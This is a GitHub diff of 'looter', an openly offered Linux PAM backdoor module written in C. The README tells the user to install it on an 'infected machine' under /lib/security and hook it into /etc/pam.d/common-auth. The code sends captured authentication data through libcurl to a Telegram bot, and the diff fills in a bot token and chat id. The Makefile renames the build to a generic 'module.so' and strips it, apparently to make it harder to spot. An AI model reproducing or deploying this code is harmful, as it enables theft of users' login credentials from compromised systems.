Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
*.so
*.o
3 changes: 2 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
CFLAGS += -Werror -Wall

looter.so: looter.c
module.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
strip module.so

4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,15 +8,15 @@ Now with this C version, you compile it on your machine and send it to the infec
* libpam0g-dev

# Configure
Edit the `looter.c` and add your telegram bot token and your user id.
Edit the `looter.c` and add your telegram bot token and either your user id or chat id.

# Compiling
```bash
make
```

# Usage
Copy the `looter.so` to the infected machine on `/lib/security`, then edit the `/etc/pam.d/common-auth` and add the following lines.
Copy the `module.so` to the infected machine on `/lib/security`, then edit the `/etc/pam.d/common-auth` and add the following lines.
```
auth optional module.so
account optional module.so
Expand Down
6 changes: 3 additions & 3 deletions looter.c
Original file line number Diff line number Diff line change
Expand Up @@ -16,13 +16,13 @@ void sendMessage(char (*message)[]) {
char data[200];

//INSERT HERE YOUR BOT KEY
char token[200] = "BOT TOKEN";
char token[200] = "7265763082:AAGsEx-REXAMPLEsRf6CeF81SS7N75eb-fZkU";

//INSERT HERE YOUR USER ID
int user_id = 1111111;
const char *chat_id = "-45365880307";

snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
snprintf(data,300,"chat_id=%s&text=%s",chat_id,*message);
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
Expand Down